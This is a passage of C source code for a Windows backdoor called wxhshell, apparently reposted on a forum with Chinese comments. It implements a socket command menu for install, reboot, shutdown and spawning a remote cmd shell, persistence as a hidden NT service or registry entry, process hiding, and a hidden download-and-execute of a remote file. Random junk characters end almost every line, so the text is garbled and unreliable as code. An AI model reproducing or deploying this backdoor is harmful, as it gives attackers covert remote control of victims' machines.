  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'Yi^;2+\  
  } L Iz<fB  
  else { C?j:+  
hjD%=Ri0Z  
    switch(cmd[0]) { _Wqy,L;J  
  ,49Z/P  
  // 帮助 OE*Y%*b  
  case '?': { Y'C1L4d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >#VNA^+t  
    break; LwYWgT\e  
  } ! k 1 Ge+  
  // 安装 d}Q% I  
  case 'i': { pO92cGJ8  
    if(Install()) LU/;` In  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EpH_v`  
    else |'-%d^ Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R$X~d8o>%  
    break; O,JS*jXl  
    } GZ^Qt*5 {  
  // 卸载 YPW UncV  
  case 'r': { XY#.?<"Q8  
    if(Uninstall()) X|-[i hp;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RqX^$C8M  
    else F3hG8YX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!_3?:[S_  
    break; #a9O3C/MP  
    } 5;+KMM:zb  
  // 显示 wxhshell 所在路径 ,x$^^  
  case 'p': { .$@+ / @4  
    char svExeFile[MAX_PATH]; k.z(.uc=  
    strcpy(svExeFile,"\n\r"); <RKT |  
      strcat(svExeFile,ExeFile); "}V_.I* +  
        send(wsh,svExeFile,strlen(svExeFile),0); IC?(F]$%>  
    break; $<yhEvv  
    } Q':hmulT!  
  // 重启 o7 t{?|  
  case 'b': { 5 owK2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bQ(-M:  
    if(Boot(REBOOT)) @fb"G4o`:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |{v#'";O:  
    else { $,yAOaa  
    closesocket(wsh); v& bG`\!  
    ExitThread(0); 0<O()NMv  
    } )2_[Ww|.  
    break; -n8d#Qm)  
    } 9:P]{}  
  // 关机 wZs 2 aa  
  case 'd': { qV6WT&)T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hJsP;y:@Lm  
    if(Boot(SHUTDOWN)) w@<II-9L)<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $1g1Bn  
    else { C!|LGzs0  
    closesocket(wsh); z;!"i~fFK  
    ExitThread(0); rtfRA<  
    } }B a_epM  
    break; em'ADRxG+  
    } -]+pwZ4g  
  // 获取shell "F%JZO51  
  case 's': { [q U v|l1  
    CmdShell(wsh); vxHFNGI  
    closesocket(wsh); r! HXhl  
    ExitThread(0); X =%8*_  
    break; 7f4O~4.[i  
  } :eSsqt9]9  
  // 退出 &7oL2 Wf  
  case 'x': { 7[w<v(Rc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vFB^h1k~.M  
    CloseIt(wsh); ZP5 !O[Ut  
    break; IzJq:G.  
    } B0%=! &  
  // 离开 9 h?'zyX B  
  case 'q': { f:-l}Zj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zskj?+1  
    closesocket(wsh); -5 8q 6yA  
    WSACleanup(); 9 @xl{S-  
    exit(1); z}B 39L  
    break; Mx$&{.LFJ  
        } Xh>($ U  
  } ?:ZB'G{%E  
  } }Uwji  
DL?nvH  
  // 提示信息 vj]>X4'i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g (WP  
} //_H _ue$  
  } 4A6Yl6\Y  
3TH?7wi  
  return; V*{rHp{=p  
} .z.4E:Iq  
Be=rBrI>  
// shell模块句柄 CF2Bd:mfZ  
int CmdShell(SOCKET sock) :Ys~Lt54  
{ S.)Jp -&K  
STARTUPINFO si; }&t>j[  
ZeroMemory(&si,sizeof(si)); !7 dct#4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 18!y7 _cFT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ##*]2Dy  
PROCESS_INFORMATION ProcessInfo; G %6P`:  
char cmdline[]="cmd"; hg(<>_~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uTxa5j  
  return 0; *Ud(HMTe  
} \7uM5 k}l  
lU%}_!tp3/  
// 自身启动模式  D**GC  
int StartFromService(void) Cq"KKuf  
{ EP 4]#]5  
typedef struct `om+p?j  
{ 0n}13u=}  
  DWORD ExitStatus; r~lZ8$KC  
  DWORD PebBaseAddress; 0{|HRiQH9+  
  DWORD AffinityMask; N);w~)MYh  
  DWORD BasePriority; :Iv;%a0 -  
  ULONG UniqueProcessId; "(^XZAU#W  
  ULONG InheritedFromUniqueProcessId; ~0a5  
}   PROCESS_BASIC_INFORMATION; e~9O#rQI  
FM >ae-L-  
PROCNTQSIP NtQueryInformationProcess; zKO7`.*  
pn gto  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6'r8.~O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ki\.w~Qs  
'6#G$  
  HANDLE             hProcess; \ ;npdFy  
  PROCESS_BASIC_INFORMATION pbi; !Qe ;oMqy}  
W]9*dabem  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QO/0VB42  
  if(NULL == hInst ) return 0; 2Wz8E2.  
ZgP%sF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <+i(CGw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N1c=cZDV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *?rWS"B  
qN)y-N.LI(  
  if (!NtQueryInformationProcess) return 0; 3'0Pl8  
/o9T [ ^\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` p\=NP!n  
  if(!hProcess) return 0; dAh.I3  
1iy$n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Z7`TnG$uf  
QJGGce  
  CloseHandle(hProcess); _M&TT]a  
}}AIpYp,P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &O&HczO  
if(hProcess==NULL) return 0; #j QauO  
jFj11w1FrA  
HMODULE hMod; =ejj@c  
char procName[255]; $MQ}+*Wr  
unsigned long cbNeeded; *@2Bh4  
SB_Tzp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9DxHdpOk  
};/QK*  
  CloseHandle(hProcess); ,N.8  
B$4*U"tk  
if(strstr(procName,"services")) return 1; // 以服务启动 N:1aDr;  
8\n3 i"  
  return 0; // 注册表启动 _pvB$&  
} 8Bf >  
kRp]2^}\s\  
// 主模块 ;H_/o+  
int StartWxhshell(LPSTR lpCmdLine) -aoYoJ '  
{ {Su?*M2y  
  SOCKET wsl; 3nq?Y8yac  
BOOL val=TRUE; _C?j\Wy  
  int port=0; QQ*sjK.(  
  struct sockaddr_in door; oaY_6  
D BT4 W/  
  if(wscfg.ws_autoins) Install(); 9 BCW2@Kp  
Hq3|>OqC2Q  
port=atoi(lpCmdLine); 7aG.?Ca%  
1|bXIY.J*  
if(port<=0) port=wscfg.ws_port; :cT)M(o  
b/SBQ" B%  
  WSADATA data; ]P4WfV d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?bTfQH vX  
*$tXm4 O[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )`u17 {  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kB7vc>@1  
  door.sin_family = AF_INET; H?$dnwR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aO6\ e>  
  door.sin_port = htons(port); FXQWT9Kk~_  
 *}?[tR5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { th?+TNb^  
closesocket(wsl); iSW2I~PD  
return 1; q t"D!S_  
} mG~_*8}e<  
3]Z1kB  
  if(listen(wsl,2) == INVALID_SOCKET) { /]0qI  
closesocket(wsl); ]?9*Vr:P^  
return 1; W5*ldXXk  
} 5cSiV7#Y:  
  Wxhshell(wsl); LC%o coc  
  WSACleanup(); TCr4-"`r-{  
j3j?2#vR  
return 0; @HT\Y%E  
]e>qvSuYh  
} 7v: XAU  
qBA)5Sv\V  
// 以NT服务方式启动 p{f R$-d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S{c/3k~  
{ /cjz=r1U>  
DWORD   status = 0; 144Y.  
  DWORD   specificError = 0xfffffff; x|H`%Z  
4TtC~#D:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gh;\"Qx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iw@rW5%'~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :F(4&e=w  
  serviceStatus.dwWin32ExitCode     = 0; aZ#FKp^8H  
  serviceStatus.dwServiceSpecificExitCode = 0; ]so/AdT9hA  
  serviceStatus.dwCheckPoint       = 0; &@~K8*tmK  
  serviceStatus.dwWaitHint       = 0; B#K gU&Loo  
Q*DT" W/0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z@~gN5@,M  
  if (hServiceStatusHandle==0) return; |t,sK aL  
^<;W+dWdU  
status = GetLastError(); P1#g{f  
  if (status!=NO_ERROR) 5 jrR]X  
{ tXE/aY*I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nr|Gw @+  
    serviceStatus.dwCheckPoint       = 0; K\xz|Gq  
    serviceStatus.dwWaitHint       = 0; /b+~BvTh  
    serviceStatus.dwWin32ExitCode     = status; #MC#K{Xd  
    serviceStatus.dwServiceSpecificExitCode = specificError; O,$*`RZpx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oj8r*  
    return; K1 f1 T  
  } R|?n  
gS(3m_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $tlBI:ay1  
  serviceStatus.dwCheckPoint       = 0; +17!v_4^  
  serviceStatus.dwWaitHint       = 0; ko%mZ0Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Agd"m4!  
} 7F`\Gz_2  
L*0YOE%=]  
// 处理NT服务事件,比如:启动、停止 Z%~}*F}7X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _L,~WYRo  
{ W ?x~"-*  
switch(fdwControl) /_{-~0Z=@B  
{ V_i&@<J  
case SERVICE_CONTROL_STOP: l;M,=ctB(  
  serviceStatus.dwWin32ExitCode = 0; {$S"S j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xI,3(A.  
  serviceStatus.dwCheckPoint   = 0; ("`"?G  
  serviceStatus.dwWaitHint     = 0; 2)EqqX[D  
  { WUS%4LL(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Uh^e]pC  
  } |AvPg  
  return; 1 |z4]R,<  
case SERVICE_CONTROL_PAUSE: J;sQvPHV8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #( .G;e;w  
  break; + S+!:IB  
case SERVICE_CONTROL_CONTINUE: G[}v?RLI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O 0}uY:B  
  break; &D<6Go/)_*  
case SERVICE_CONTROL_INTERROGATE: y,?=,x}o#  
  break; v hZXgp0X  
}; CG uuadNI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( yLu=  
} SY95s  
4{>r_^8  
// 标准应用程序主函数 iKq_s5|sW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q7amp:JFb  
{ I(UK9H{0$  
cO:lpsKYQ  
// 获取操作系统版本 "s@Hg1  
OsIsNt=GetOsVer(); KXZ G42w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #ChTel  
IlF_g`  
  // 从命令行安装 Zzlt^#KLx  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZQ"dAR/y  
vdXi'<  
  // 下载执行文件 e"1mdw"  
if(wscfg.ws_downexe) { J"#6m&R_q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E2l" e?AN~  
  WinExec(wscfg.ws_filenam,SW_HIDE); }S"gZ6   
} pZ $>Hh#  
 }<kl3{)  
if(!OsIsNt) { 46M=R-7=  
// 如果时win9x,隐藏进程并且设置为注册表启动 / 1TK+E$  
HideProc(); ys!O"=OJ  
StartWxhshell(lpCmdLine); C{U*{0}  
} NXLb'mH~  
else .NWsr*Tel  
  if(StartFromService()) O-0 5.  
  // 以服务方式启动 ZYB5s~;eB"  
  StartServiceCtrlDispatcher(DispatchTable); %#fjtbeB  
else =H: N!!:  
  // 普通方式启动 *s, bz.[  
  StartWxhshell(lpCmdLine); 2K3j3|T  
`C7pM  
return 0; 7E* 0;sA#  
}
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只看该作者 1 发表于: 2006-10-10
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